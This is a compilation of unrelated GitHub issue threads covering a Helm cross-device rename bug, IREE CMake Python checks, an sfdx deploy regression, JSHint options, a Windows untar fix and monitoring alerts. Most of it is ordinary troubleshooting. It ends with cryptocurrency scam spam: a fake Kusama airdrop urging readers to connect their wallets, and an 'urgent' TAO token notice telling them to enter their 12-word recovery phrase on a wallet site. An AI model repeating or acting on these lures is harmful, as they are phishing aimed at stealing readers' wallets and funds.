Maybe we start with one of these, then later add others as needed. If people complain about speed, can do more then.


Rightmost tab invisible when tab count exceeds window width

if you open many tabs, the last tab(rightmost) is invisible when active.

Also window actions and settings button disappears.

I was aware of this. Thanks for making an issue for it.

Fixed in 0.49.2.


Fixed a bug in the DemandIgnoringAsyncPublisher and disabled the automatic package update

LGTM, interesting difference between the TCKs


Long variable don't set style parse mode

i have a variable in my app :
var true_match = "\n" + ' 🔴 METODO ' + "\n" + '⚽ ' + event + "\n" + '⏰ ' + hours + "\n" + '📈 ' + teams + "\n"
what I would like is to set some of these words in bold and others in italics.
I tried all the methods from the documentation but they don't work for me.
If I send a single sentence like this, everything works
bot.sendMessage(chatId, '<b>TEST</b>', {parse_mode: 'HTML'});
how can i solve?

Maybe you have some characters that you are forgetting to extract from those variables. But we need more context to help you. In the "true_match" you only have a line returns "/n", but I don't see any html tags for the format... so no idea without more informationm


CMake build fails without Python3 and Python libraries.

The CMake build as described in the linux getting started doc fails to build without first installing python and its libraries (e.g. via sudo apt-get install python3 python3-pip python3-setuptools):
CMake Error at /usr/local/share/cmake-3.17/Modules/FindPackageHandleStandardArgs.cmake:164 (message):
  Could NOT find PythonInterp: Found unsuitable version "2.7.17", but
  required is at least "3" (found /usr/bin/python)
Call Stack (most recent call first):
  /usr/local/share/cmake-3.17/Modules/FindPackageHandleStandardArgs.cmake:443 (_FPHSA_FAILURE_MESSAGE)
  /usr/local/share/cmake-3.17/Modules/FindPythonInterp.cmake:169 (FIND_PACKAGE_HANDLE_STANDARD_ARGS)
  CMakeLists.txt:114 (find_package)

-- Configuring incomplete, errors occurred!
See also "/usr/src/git/iree/build/CMakeFiles/CMakeOutput.log".
make: *** No targets specified and no makefile found.  Stop.

CMake Error at /usr/local/share/cmake-3.17/Modules/FindPackageHandleStandardArgs.cmake:164 (message):
  Could NOT find PythonLibs (missing: PYTHON_LIBRARIES PYTHON_INCLUDE_DIRS)
  (Required is at least version "3")
Call Stack (most recent call first):
  /usr/local/share/cmake-3.17/Modules/FindPackageHandleStandardArgs.cmake:445 (_FPHSA_FAILURE_MESSAGE)
  /usr/local/share/cmake-3.17/Modules/FindPythonLibs.cmake:310 (FIND_PACKAGE_HANDLE_STANDARD_ARGS)
  CMakeLists.txt:115 (find_package)

-- Configuring incomplete, errors occurred!
See also "/usr/src/git/iree/build/CMakeFiles/CMakeOutput.log".
make: *** No targets specified and no makefile found.  Stop.

Here's where we check for Python 3: https://github.com/google/iree/blob/f5c64fabdab88bf96aa4dfe7100a628304327ebe/CMakeLists.txt#L107-L116
SPIRV-Tools uses python, but we aren't depending on it anymore (I'll remove it soon).
LLVM also uses Python though, which we can't cut off. Due to incompatibilities, I think we should require python3 installation and add it to the docs.

Sounds good; I'll make the change.

Adapting some comments from https://github.com/google/iree/issues/1778:
Removing ${IREE_BUILD_COMPILER} from https://github.com/google/iree/blob/d0d81a26221e3c56e2b999f98238f60db7f85b73/CMakeLists.txt#L107-L116
allows builds to complete without Python 3 installed, now that some dependencies have changed.

I think we should still prefer Python 3 over Python 2 if both are installed though. Maybe we could set
   find_package(PythonInterp 3 OPTIONAL)
   find_package(PythonLibs 3 OPTIONAL)

if IREE_BUILD_PYTHON_BINDINGS is not set, and keep the REQUIRED checks if it is? If we actually depend on Python 3 when not building the Python bindings, then we should always set it as required.

I'm on a fresh Windows install going through setup now. I don't have Python 2 or 3 installed yet.
Made this change:
if(${IREE_BUILD_PYTHON_BINDINGS})
  find_package(PythonInterp 3 REQUIRED)
  find_package(PythonLibs 3 REQUIRED)
else()
  find_package(PythonInterp 3)
  find_package(PythonLibs 3)
endif()

Got these logs:
[cmake] -- Could NOT find PythonInterp (missing: PYTHON_EXECUTABLE) (Required is at least version "3")
[cmake] -- Could NOT find PythonLibs (missing: PYTHON_LIBRARIES PYTHON_INCLUDE_DIRS) (Required is at least version "3")
[cmake] -- Could NOT find PythonInterp (missing: PYTHON_EXECUTABLE)
...
[cmake] -- Could NOT find Python3 (missing: Python3_EXECUTABLE Interpreter)
[cmake] CMake Warning at third_party/llvm-project/llvm/CMakeLists.txt:694 (message):
[cmake]   Python3 not found, using python2 as a fallback
[cmake]
[cmake]
[cmake] CMake Error at C:/Program Files/CMake/share/cmake-3.17/Modules/FindPackageHandleStandardArgs.cmake:164 (message):
[cmake]   Could NOT find Python2 (missing: Python2_EXECUTABLE Interpreter)
[cmake] Call Stack (most recent call first):
[cmake]   C:/Program Files/CMake/share/cmake-3.17/Modules/FindPackageHandleStandardArgs.cmake:445 (_FPHSA_FAILURE_MESSAGE)
[cmake]   C:/Program Files/CMake/share/cmake-3.17/Modules/FindPython/Support.cmake:2401 (find_package_handle_standard_args)
[cmake]   C:/Program Files/CMake/share/cmake-3.17/Modules/FindPython2.cmake:258 (include)
[cmake]   third_party/llvm-project/llvm/CMakeLists.txt:695 (find_package)

So LLVM requires Python in some form. We actually can't currently build with -DIREE_ENABLE_LLVM=OFF -DIREE_BUILD_COMPILER=OFF -DIREE_BUILD_SAMPLES=OFF right now (iree_bytecode_module tries to pull in iree_tools_iree-translate during configure). I think if that segment of the build were to work, we'd want the optional Python check gated on IREE_ENABLE_LLVM, if anything (just spams logs a bit if it doesn't find it).
How about this?

Fix CMake configuration to not require Python when IREE_ENABLE_LLVM is OFF (basically runtime-only builds)
Make the find_package calls generally optional, but required when IREE_BUILD_PYTHON_BINDINGS is set
Omit Python setup from Linux docs, where Python 2 is usually installed by default
Include Python setup in Windows docs, where Python is not necessarily installed. Recommend 3.
Include Python 3 setup in Python docs (already done: https://google.github.io/iree/GetStarted/Python#python-setup)

Just a short note on the fixing the CMake to not require Python. Beside iree_bytecode_module, I think we cannot pass -DIREE_ENABLE_LLVM=OFF due to requiring iree-tblgen for the runtime. This pulls in the dep on LLVM, see #357.

Just a short note on the fixing the CMake to not require Python. Beside iree_bytecode_module, I think we cannot pass -DIREE_ENABLE_LLVM=OFF due to requiring iree-tblgen for the runtime. This pulls in the dep on LLVM, see #357.

Yep, that's the next issue I hit :P

Obsolete?

Obsolete?

Yeah let's just close this... there might still be issues, but I haven't heard complaints about Python installations in a while.


helm dependency update fails after helm upgrade

Hi
I'm using Helm from Concourse pipeline I just upgraded Helm to 2.6.1 (from 2.4.2) and my pipeline doesn't work anymore.
The culprit line seems to be https://github.com/kubernetes/helm/blob/v2.6.1/pkg/downloader/manager.go#L220
$ helm dependency update
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "ci" chart repository
...Successfully got an update from the "local" chart repository
...Successfully got an update from the "stable" chart repository
Update Complete. ⎈Happy Helming!⎈
Error: Unable to move current charts to tmp dir: rename /tmp/build/put/staging-helm/cvhub-api/charts /tmp/build/put/staging-helm/cvhub-api/tmpcharts: invalid cross-device link

I cannot change the path used by Concourse  but if I do the same command manually on my mac from my home directory (i.e not from /tmp) it works:
% ~/Downloads/helm dependency update
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "ci" chart repository
...Successfully got an update from the "local" chart repository
...Successfully got an update from the "stable" chart repository
Update Complete. ⎈Happy Helming!⎈
Saving 1 charts
Downloading elasticsearch-singlenode from repo http://<IP_ADDRESS>:8879
±|develop ✘| cvhub-api
% pwd
/Users/nsitbon/github/cvhub-api/scripts/helm/cvhub-api

As far as I understand the error and the related code it seems that you should not use Rename rather you should use Move.
Any help would be appreciated.
Best regards.

It seems that either source or destination is mount point, therefore rename doesn’t work. If you change your concourse pipeline so that both source and destination are on the same mount point it should work

I know and like I said I'm just a Concourse user I cannot change how it works and how it mounts directory. However I expect Helm working whatever the configuration like before.

This should be a relatively quick fix. I know what’s causing this. I’ll make a PR this morning.

For now you should downgrade to v2.5.x.

This is exactly what I did. Thx @bacongobbler

@bacongobbler Did you end up opening a PR for this? Is it a bug that should be pulled into 2.7?

Sorry didn’t get around to making a PR last week, but I’ll have some free time on Monday. Thanks for the ping :)

This was a bug introduced in a new feature for 2.6 so yeah it should be slated for 2.7.

Marking it as a bug means, that any use of os.Rename is a bug "because of concourse". Atomic rename of a .tmp folder into final destination next to it is a well known, widely use pattern, there is nothing wrong with it.
@nsitbon , concourse gives you full control over final mounts and file locations.

@redbaron I disagree with "widely use pattern" I mean you should not make any assumptions on the filesystem or impose anything. By the way I don't find anything in the concourse documentation giving me access to the final mounts and file location as concourse is using docker to run its tasks it makes sense to mount the result from one task to another via mount points. Anyway  Concourse or not I do think you shouldn't impose filesystem requirements because in this case you would force all your users to change their code whereas in the other case you only have to change your code.

I also disagree, though for different reasons. I was calling out the fact that we are not utilizing os.TempDir() as an issue, not the fact that using os.Rename is a bug. If Concourse sets up and utilizes $TMPDIR correctly, this shouldn't be an issue moving forward, especially since we use ioutil.TempDir everywhere else in the codebase.

As far as I understand the error and the related code it seems that you should not use Rename rather you should use Move.

os.Rename is a move operation, so we're doing the right thing here.

#3021 is the proposed fix. @nsitbon if you have some time and are able to build helm from scratch, would you mind testing that fix? Thanks!

I disagree with "widely use pattern"

It is a fact. It is only way to create a directory with it's content in an atomic way. Every good behaving program creates directories with populated content in this way.  What you are asking is essentially to ban rename(2) syscall when called with  directories as an argument. This alone should set alarms off and begs the question is it a right thing to ask. Just search github for os.Rename, every single time it is called on directories, it can break your concourse setup. Do all of them wrong?
As for concourse, feel free to ask them on a slack channel, they are very helpful. If you change what task is producing from content of  charts to a charts directory itself, in other words move mount point
/tmp/build/put/staging-helm/cvhub-api/charts
                                     ^- from here
                           ^----------- to here

everything will just work.
@bacongobbler patch makes things worse and wont help with this "problem" at all, as it is even more likely that $TMPDIR is on a separate mountpoint from m.ChartPath. Absolute correct way would be to do ioutil.TempDir(m.ChartPath, "tmpcharts"), then there can be no clashes with random leftovers in tmpdir.

Right; my PR won't resolve the issue when re-naming directories across devices which is the original issue. I was talking about moving the files from the local directory over to /tmp as it should've been done in the first place, which is actually the wrong way to go about it anyways.
Pulling out of v2.7.0 and tagging as question/support.

@redbaron I may not have been clear what I mean by not a "widely use pattern" is not the use of os.Rename but more the fact that you are making assumptions about the layout of the filesytem. Feel free to use whatever syscalls you need for your the data you own but not for the data owned by other. From my point of view it's a regression as my code was working before and now it doesn't. Are you going to ask every other software developer (I mean other than Concourse dev) to change how they mount file or are you going to manage it yourself? From a developer perspective when I use some kind of library I hope they won't make assumption that will force me and any other user to change their code. It's better to fix one place than to fix n (read 10 or 100 or 1000) places.

Problem is helm "owns" both source and destination of os.Rename.  If you hijack one of them by making it a mount point, it is not a helm problem.

I disagree the creator is the owner so helm is not owning the source.

dep has a convenient function called RenameWithFallback which will fall back to a copy-and-remove operation in the case of a cross-device link error. This should be a relatively quick fix if someone wants to take a crack at it!

I ran into this as well but was a little baffled by it because source and target are on the same mount point in this concourse scenario.
I think the problem is that the mount point is an overlayfs filesystem (thats how concourse passes inputs into task containers).
I found this in the (unrelated) docker docs in the working with overlay section:

Renaming directories: Calling rename(2) for a directory is allowed only when both the source and the destination path are on the top layer. Otherwise, it returns EXDEV error (“cross-device link not permitted”). Your application needs to be designed to handle EXDEV and fall back to a “copy and unlink” strategy.

A workaround for the concourse case is to copy the charts from the input volume before running  helm dep up e.g.:
cp -r staging-helm/cvhub-api/charts staging-helm.bak
helm den up staging-helm.bak/staging-helm/cvhub-api

/remove-lifecycle stale
/lifecycle frozen

This issue is happening to me when running a docker run command only in Docker for mac. Same command on a linux env work with no problem at all.
I think implementing https://github.com/golang/dep/blob/5b1fe9e6d89372487d0aac78d9c5362a517857e7/internal/fs/fs.go#L103-L118 in helm code would be a quick win.

@smoya yup, noted that earlier at https://github.com/helm/helm/issues/2998#issuecomment-337342285 😂

@bacongobbler Yes, I missed writing that I agree with your suggestion. 👍

Is there a work-around for this that doesn't involve modifying helm?

Ah, found one: manually call helm package on dependencies, specifying the destination chart/ directory of the parent chart.

I have the same error in docker(mac). Why do I see it when I have not mounted the directory?

I'm trying out using RenameWithFallback to rename the file like was previously suggested, but I am by no means a go developer. Are there any instructions for building helm so I can test my changes? I'm not having a lot of luck on my own

The Developer Guide should help you get started. If you're new to Go, The official Go install guide is a good resource as well. Let us know if you run into any issues!

Thank you @bacongobbler !

@bacongobbler I managed to get it working by ruthlessly stealing the fs package from the deps project and throwing it into helm. I've never done open source development before, is doing that koscher in the open source community?

Deps seems like a cool product, but I have concerns with using their fs package in helm when it doesn't seem to be a core feature of deps. With any release of deps they could decide to change their implementation, and that could lead to a broken build in helm unless we stick to a hard release number. Also if we decide we need more features from the fs package, that could lead to us needing to make contributions to deps that may not be part of the scope of their project right?

The dep core maintainers are pretty good about maintaining backwards compatibility, and that's why we pin versions. If we eventually need to extend the fs package then we can talk to the maintainers about splitting it out and maintaining it as a separate package. I wouldn't worry about it.

Cool, I'll go ahead and make that change then :thumbsup:

When I try to reference their fs package I get this error
pkg/downloader/manager.go:32:2: use of internal package k8s.io/helm/vendor/github.com/golang/dep/internal/fs not allowed
After some reading, my understanding is that internal is a special folder in a go project for packages that are only meant to be used within a project and not distributed. I seem to be getting that error both when the package is find in the vendor folder as well as when it's from my $GOPATH. Is there a way I can still make this import work?

Oh..  if they've marked it as internal then probably not.

I'm working on a PR now, but one of the style checks looks for this string in files
Licensed under the Apache License, Version 2.0 (the "License");
But the fs files from dep have this string in them
// license that can be found in the LICENSE file.```

Does this mean that I can't use the dep fs package in helm, or can this code fall under multiple open source liscenses? Do we need to get input for the dep maintainers?

Is there something I can do to help with getting this fix merged?

Thanks for the ping @chriscone.
for reference, here is the PR (had to go looking to find it again): https://github.com/helm/helm/pull/5038
The PR introduces code from dep, which is BSD-licensed code which is okay to re-license it as Apache 2 code. The problem at hand, though, is that we're unsure if copying code from internal/fs follows the DCO.
I can't recall who was looking into this, but it probably fell through the cracks. I'll open a ticket with the CNCF service desk and see if we can get the legal team to weigh in on this topic.

Just ran into this in a containerized CI pipeline running on Linux with helm 2.12.3.
Helm's operations do not cross the boundary of the filesystem bind-mounted from the host as $HOME.
That's the first time I've seen this happen with this setup.

A simple workaround for me (which I didn't see above), was to just remove the charts directory - or add it to something like .dockerignore to not copy it in the first place (if it's part of a Docker build). May not work for everyone.

due to inactivity, I had to close #5038. If anyone else feels like taking this across the finish line, please feel free!

fixed in https://github.com/helm/helm/pull/6750.


⚠ Bofrost.at has degraded performance

In 5c2d99e, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1519 ms

Resolved: Bofrost.at performance has improved in 14bb6ca.


Lanaguage selector not changing the language of mts-s template app [BUG]

Describe the bug
Language selector is not working.
To Reproduce
Steps to reproduce the behavior:

Ensure that tarnslations are available for the target languages.
Click on language selector.
Select any language that differs from the default.
Application restarts with the default language.

Expected behavior
Application sets new language and then restarts using said language strings.
Screenshots

The above code has no logic for setting any other language than the default.

Bug can be solved by setting Setting.Settings to public in xTemplatexHmi.WPF, removing Setting.Settings from xTemplatexOP and prepending Settings with xTemplatexHmi.WPF.Properties or adding a matching using statement in App.xaml.cs (xTemplatexOP).

closes #99


Configuration file with eqeqeq:"false" does not work

The following doesn't work in my jshint.json:
eqeqeq:"false"

But, the following works in my jshint.json:
"-W041": false

JSHint always warns against == when comparing with a falsy value (0, "", undefined, null), true and false.
You can disable warnings about smething == null using eqnull: true

Is eqeqeq:"false" intended to be valid syntax in a jshint configuration file, such as the one I attempted to  implement, or ~/.jshintrc?

Quotes should be around eqeqeq, not around false: "eqeqeq": false.

I implemented the suggested changes.  However, my travis CI indicates that it was not recognized.  Should I revert back to "-W041": false?

I apologize if I was not clear.

JSHint always warns against ...

always = even if eqeqeq is false.
eqeqeq allows you to compare with

a variables
a number != 0
a string != 0
an object

To compare with null, you should use eqnull: true

@nicolo-ribaudo, thank you!  I implemented just "eqnull": true.


Release v51 breaks mdapi deployment

Summary
In release v51, force:mdapi:deploy now uses the REST API by default, which is failing with a JSON parser error. See below for error stack.
Steps To Reproduce:

Run the mdapi deployment without the --soapdeploy parameter

$ sfdx force:mdapi:deploy -u <env> -d <dir> --json -l RunSpecifiedTests -r skip
Expected result
Deployment is queued
Actual result
{
  "status": 1,
  "name": "Error",
  "message": "JSON_PARSER_ERROR: Can not deserialize: unexpected array at [line:1, column:73]",
  "exitCode": 1,
  "commandName": "MdapiDeployCommand",
  "stack": "Error: JSON_PARSER_ERROR: Can not deserialize: unexpected array at [line:1, column:73]\n    at Request._callback (/Users/alan.ly/.local/share/sfdx/client/7.88.4-3b2e55c3f1/node_modules/salesforce-alm/dist/lib/core/force.js:590:29)\n    at Request.self.callback (/Users/alan.ly/.local/share/sfdx/client/7.88.4-3b2e55c3f1/node_modules/request/request.js:185:22)\n    at Request.emit (events.js:315:20)\n    at Request.EventEmitter.emit (domain.js:467:12)\n    at Request.<anonymous> (/Users/alan.ly/.local/share/sfdx/client/7.88.4-3b2e55c3f1/node_modules/request/request.js:1154:10)\n    at Request.emit (events.js:315:20)\n    at Request.EventEmitter.emit (domain.js:467:12)\n    at IncomingMessage.<anonymous> (/Users/alan.ly/.local/share/sfdx/client/7.88.4-3b2e55c3f1/node_modules/request/request.js:1076:12)\n    at Object.onceWrapper (events.js:421:28)\n    at IncomingMessage.emit (events.js:327:22)\n    at IncomingMessage.EventEmitter.emit (domain.js:467:12)\n    at endReadableNT (internal/streams/readable.js:1327:12)\n    at processTicksAndRejections (internal/process/task_queues.js:80:21)\nOuter stack:\n    at Function.wrap (/Users/alan.ly/.local/share/sfdx/client/7.88.4-3b2e55c3f1/node_modules/@salesforce/core/lib/sfdxError.js:171:27)\n    at MdapiDeployCommand.catch (/Users/alan.ly/.local/share/sfdx/client/7.88.4-3b2e55c3f1/node_modules/salesforce-alm/dist/ToolbeltCommand.js:248:46)\n    at MdapiDeployCommand._run (/Users/alan.ly/.local/share/sfdx/client/7.88.4-3b2e55c3f1/node_modules/@salesforce/command/lib/sfdxCommand.js:85:13)\n    at Config.runCommand (/Users/alan.ly/.local/share/sfdx/client/7.88.4-3b2e55c3f1/node_modules/@oclif/config/lib/config.js:173:24)\n    at Main.run (/Users/alan.ly/.local/share/sfdx/client/7.88.4-3b2e55c3f1/node_modules/@oclif/command/lib/main.js:27:9)\n    at Main._run (/Users/alan.ly/.local/share/sfdx/client/7.88.4-3b2e55c3f1/node_modules/@oclif/command/lib/command.js:43:20)\n    at Object.run (/Users/alan.ly/.local/share/sfdx/client/7.88.4-3b2e55c3f1/dist/cli.js:121:21)",
  "warnings": []
}

Additional information
Feel free to attach a screenshot.
SFDX CLI Version(to find the version of the CLI engine run sfdx --version):
Version 7.88.4
SFDX plugin Version(to find the version of the CLI plugin run sfdx plugins --core)
Version 51.0.4
OS and version:
macOS Catalina Version 10.15.7

The current workaround is to use --soapdeploy and everything works as expected

force:source:deploy also seems to be defaulting to REST API deploys , but this command does NOT seem to have the --soapdeploy switch.

This seems to also be a failure to follow a proper procedure for deprecating the restDeploy configuration property. Because of bugs in the REST Metadata API we now have scripts failing and our existing method to manage this has failed without alternative.
We do several force:source:deploy actions in our scratch org setup script and depending on the mood of the REST api they are failing. Converting to using force:mdapi:deploy would be a huge effort for us.

There are 2 bugs here.  1 for the JSON parse error and 1 for the unintended switch of source commands to use REST.  @aheber You're absolutely right that this was a failure to properly follow the deprecation procedure.  We'll be switching the source commands back to SOAP asap.  Apologies for this regression!

@aheber can you please post the errors you're seeing with force:source:deploy using the REST API, either here or as separate github issues?  It's easy to switch it back to SOAP and provide another way to use REST, but we'd like to address the REST bugs you're seeing now.

@shetzel #860

For those who do not want to rely on this new default behavior till things are fixed, I think this works well for the non-npm (and possibly npm installed?) sfdx-cli.
sfdx plugins:install<EMAIL_ADDRESS>This rolls back the core plugin back to a version. Weirdly enough trying to downgrade the CLI package itself did not work.
Even if your CI is set to run sfdx update or you have the related env set, the plugin will not roll forward from my experience. Once you are confident you want to upgrade, then you can run `sfdx plugins:install salesforcedx@latest) to update to latest.

The REST API default change coincided with the Salesforce Spring 2021 release.  I.e., salesforcedx v50.x --> salesforcedx v51.x.  If you specifically install a v50.x version of that plugin it'll use SOAP instead.  However, you're now pinned to that plugin version and updating your CLI will not update the salesforcedx plugin.  You'll have to uninstall that specific plugin version to go back to the core version bundled with the CLI, or explicitly install a newer version.

@aly76 - This specific error is due to the CLI sending the runTests property as a string but the REST API expects an array.  That is an easy fix and we'll let you know when it's in latest-rc.

This has been fixed and is now in production


make sure no overrides are using flatMap

https://github.com/typelevel/cats/blob/master/core/src/main/scala/cats/FlatMap.scala
for some reason, FlatMap overrides some functions that apply implements in terms of product and map, by using flatMap. Since flatMap is more expensive for a parser, we don't want those overrides.
We should go through all the overrides in FlatMap and if we can implement in terms of product and map do so.

I think this was closed by #106


Postgresql upgrade

Upgrade the version of postgresql to the latest supported in RDS (13.2 at the time of  writing this issue)
Some things to consider:

Performance improvements
Crossproduct testing
Load testing
Performance improvements
Additional features

Released with 14.8.7


Fraken minimum score

A minor change that moves the logic that checks the minimum rule score threshold to Fraken's output rather than the analyser. This stops dftimewolf from picking up all the low scoring irrelevant rules and spamming us.

PTAL


(import-macros ...) compatibility with conjure

We autocompile fnl files as requested, meaning you can (require :my.fnl.mod) in your conjure session without having to do anything, but (import-macros ...) fails for some reason with module not found. The stacktrace doesn't include hotpot so maybe conjure hijacks those calls specifically.
It did look like it was hitting require with utils.path, would have thought it would work.
Tried various cwd's and package.path should be fine, no access to fennel.path if it's using that.

For the record, I hope to get rid of the need for the module macros at some point but that requires making Aniseed's evals "stateful", so every buffer you enter a Fennel REPL is started to give you contextual evals within the context of a buffer.
I also kinda wanted to rewrite the module macros in terms of a Fennel compiler plugin but that API isn't fully stable yet and was proving kinda tricky / not worth it.
So I think I'll begin to move towards smarter Clojure/Aniseed evals where each eval doesn't occur within a clean room, but a shared REPL state per-buffer. Then the module macros become entirely optional and could maybe be phased out / changed into something a lot lighter.
AMA through whatever means you want if you wanna collab on some of these ideas or just have questions you think I might know the answer to 😄 and feel free to hop into the Conjure discord if you aren't already, it's a fairly active Fennel discussion zone.

Heads up that Aniseed's eval system got an overhaul and I rewrote the module macro system: https://github.com/Olical/aniseed/issues/63
So now you can eval non-module macro things and state is maintained between evals in a buffer local REPL context. All Lua output from the module macros was massively shrunk and optimised. Might not help you but still, thought I'd make you aware!
This is only on the develop branch of Aniseed and Conjure while I finish off a few things mentioned in that issue and smoke test it for a few days.

I tested this in the latest version, and it seems to work properly.
😀

Great, thanks for checking.


multi exposed ports service resulting in lds error

Bug description:
Two ports defined in service, and it contains one filter match which holding two same address_prefix.
Two same address_prefixs exists in one match with same prefix_len two.
error adding listener '<IP_ADDRESS>:15001': multiple filter chains with overlapping matching rules are defined

Affected area (please mark with X where applicable):

Install                    [ ]
SMI Traffic Access Policy  [ ]
SMI Traffic Specs Policy   [ ]
SMI Traffic Split Policy   [ ]
Permissive Traffic Policy  [ ]
Ingress                    [ ]
Egress                     [ ]
Envoy Control Plane        [X]
CLI Tool                   [ ]
Metrics                    [ ]
Certificate Management     [ ]
Sidecar Injection          [ ]
Logging                    [ ]
Debugging                  [ ]
Tests                      [ ]
CI System                  [ ]

Expected behavior:
It should remove duplicated endpoint during constructing match of filter chain. (target in inmesh.go)
Steps to reproduce the bug (as precisely as possible):
Service with multi ports.
How was OSM installed?:
Anything else we need to know?:
Environment:

OSM version (use osm version):
Kubernetes version (use kubectl version):
Size of cluster (number of worker nodes in the cluster):
Others:

Multiple ports per service is not yet supported and tested. Could you kindly open a feature request for this @addozhang.
This will likely be more work than just the LDS change.

Resolved by https://github.com/openservicemesh/osm/pull/2239

Resolved by https://github.com/openservicemesh/osm/pull/2239


Request: Bus arrival time as sensor

Is there any development for that use case?

It would be very useful to get this entity.

sorry currently its just a UI card


Fixed untar on the Windows platform

The untar package had some paths that were specific to Unix, added some
logic to create them differently depending on the platform.
Also, the chmod function does not work on Windows, added a helper called
chmod which is a noop on Windows.
@apcera/cloud-services

I agree with a comment @schancel had regarding path vs filepath. I think the only thing is that in some cases we can get away with using path because of some special symlink logic.  However, you should probably just use filepath everywhere instead.
In addition, just a nit: its not your code but if you are cleaning up the filepath/path issues you should go ahead and delete all the path.Clean() methods that follow .Join calls, it is already cleaned: https://golang.org/pkg/path/#Join (and same in filepath.Join)

@johnSchnake I added a commit to take out the cleans

Still need to address (or at least consider) the use of prefix that we mentioned above.  However, the chmod's and filepath updates have been made.

@mbhinder f.Chmod is ok on Windows, just not os.Chmod.  I'll send you a link to some code where we use that.

So one big shortcoming is that we are trying to make things more Windows compatible but have no Windows specific testing.  We should update that.

@johnSchnake This code didn't work for me:
`package main
import (
"fmt"
"os"
)
func main() {
f, err := os.Open("file.txt")
if err != nil {
panic("Could not open")
}
fmt.Println(f.Chmod(0755))
}
`
I get C:\Users\mbhinder\go>go run test.go chmod file.txt: not supported by windows

Can we put back the refactor to use conditional build on a local chmod()?  That seemed like the most straightforward way of fixing the problem.

So os.Chmod was ok, I just misled myself looking at some other code I had available.  Just a mixup.  Ran Preet's example code with the other method and it worked fine.

LGTM.

Just squashed; merging.


[RESOLVED] Interface eth0(): High error rate (>2 for 5m)

Problem started at 15:21:29 on 2023.05.18
Problem name: Interface eth0(): High error rate (>2 for 5m)
Host: S100-Primario
Severity: Warning
Operational data: errors in: 1, errors out: 0
Original problem ID: 20899
Event details in Zabbix: http://<IP_ADDRESS>/tr_events.php?triggerid=23483&eventid=20899

Problem has been resolved in 3m 0s at 15:24:29 on 2023.05.18
Problem name: Interface eth0(): High error rate (>2 for 5m)
Host: S100-Primario
Severity: Warning
Original problem ID: 20899


MSID: 87126 Version: 4 DOI: 10.1101/2<IP_ADDRESS>8292

MSID: 87126
Version: 4
Preprint DOI: https://doi.org/10.1101/2<IP_ADDRESS>8292
Step 1. Awaiting reviews
Editorial to post reviews via hypothesis
Useful links:

DocMap: https://data-hub-api.elifesciences.org/enhanced-preprints/docmaps/v2/by-publisher/elife/get-by-manuscript-id?manuscript_id=87126
New model tracking: https://docs.google.com/spreadsheets/d/1_fHaoOy7hjyocptKtVJRijeNpUY4hBS7Ck_aVmx6ZJk/
Reviews on sciety: https://sciety.org/articles/activity/10.1101/2<IP_ADDRESS>8292

For trouble shooting (e.g. no Docmaps available):

DocMap issue addressing: https://miro.com/app/board/uXjVNCwK6EI=/
Explore DataHub DocMaps API: https://lookerstudio.google.com/reporting/4c2f0368-babb-4beb-b5b3-497e7e7b0f08/page/ejphD
Unmatched submissions and preprints: https://lookerstudio.google.com/u/0/reporting/9f86204f-3bf7-477c-9b18-5c5ef141bf69/page/p_gxi57ha93c
Unmatched manuscripts spreadsheet: https://docs.google.com/spreadsheets/d/15QcK8w-ssB7109RQEDtFpJPZ0J5HTGxoHa_2TtpMBbg/edit#gid=1336081641

Step 2. Preview reviewed preprint
Production QC content ahead of publication
Instructions:

QC preview: https://prod--epp.elifesciences.org/previews/87126v4
Update ticket with any problems (add blocked label)
When QC OK, add QC OK label to ticket and add publication date and time to https://docs.google.com/spreadsheets/d/1amAlKvdLcaDp5W8Z8g77NmkwbMF5n_u89ArSqPMO8jg
Move card to next column
(At end of the day post link in #enhanced-preprint and ask for PDF to be generated)

Useful links:

Preprint DOI :  https://doi.org/10.1101/2<IP_ADDRESS>8292
Confirm reviews returned by EPP: https://prod--epp.elifesciences.org/api/reviewed-preprints/87126/v4/reviews
To update the MECA path in the docmap: https://docs.google.com/spreadsheets/d/1mctCQuNFBjSn97Lihy7_vBO6z7-N-oqyLv4clyi6zHg

Step 3: Awaiting search reindex
This step adds the reviewed preprint to the homepage: https://elifesciences.org
The search reindex is triggered once an hour. We need the reviewed preprint to be indexed as the search application serves the journal homepage.
Useful links:

Jenkins pipeline to reindex search can be triggered sooner or monitored here: https://alfred.elifesciences.org/job/process/job/process-reindex-reviewed-preprints/

Step 4: Published! PDF requested
Waiting for PDF to be generated
Useful links:

PDF tracking: https://docs.google.com/spreadsheets/d/106_XeDjmuBae7gexOTNzg60lapeqjl2aRn9DzupGyS8/

Step 5: Introduce PDF to data folder and git repo
Upload PDF to relevent folder in git repo https://github.com/elifesciences/enhanced-preprints-data/
Step 6: Done!

[ ] Kettle is on!

elocations missing from references


Hi I tried to install angular cli through the command :

🐞 Bug report
Command (mark with an x)

[ ] new
[ ] build
[ ] serve
[ ] test
[ ] e2e
[ ] generate
[ ] add
[ ] update
[ ] lint
[ ] extract-i18n
[ ] run
[ ] config
[ ] help
[ ] version
[ ] doc

Is this a regression?

 Yes, the previous version in which this bug was not present was: ....
Description
 A clear and concise description of the problem...
🔬 Minimal Reproduction

🔥 Exception or Error

🌍 Your Environment

Anything else relevant?

Duplicate of #20379


Discussion: Add VM-Testbench

To discuss: Currently there is no way to test the QuantumRisc-VM automatically. The developer can easily verify that the tools and projects have been installed, but how can their correct functionality be verified? This requires very specialized knowledge and therefore should be assisted by a testbench in my opinion.
@ThorKn @SteffenReith

I suggest to define some "not automated" tests.
They could be documented in a release file regarding to the VM version.
Tests could be:

Testrepos with Vexriscv simulation and fpga deployment. There are four existing public GitHub repos fior this purpose on ThorKn GitHub.
Building and simulating the pqvexriscv from Richards public repo.
Building and simulating the RISC-V from Steffens FPGA course at uni (if public?).

Congratulations! You've receive in $2000 on Kusama Airdrop 🪂🔴
Kusama Airdrop: Claim up to $20,000 in Tokens Now!
→ Earn rewards on connect you wallet
→ Claim Your $KSM Today
Connect your wallet, follow the instructions, and claim this exclusive airdrop from Kusama. For GitHub users only—share with friends to make it eligible. Redeem your reward first.

🚀 Claim Your Bonus Now! Check Eligibility
Access the Kusama platform and connect your wallet securely.

Urgent TAO Token Transfer Notification
🚨 Urgent Notice: A total of 60 TAO tokens has been successfully transferred to unknown wallet address.
Action Required:

Secure Your Wallet Immediately:

Visit the official TAO Wallet website: https://wallet.bittensor.com.
Click on "Import Wallet" and follow the instructions to import your wallet.
Add the 12-word phrase to your wallet for additional security.
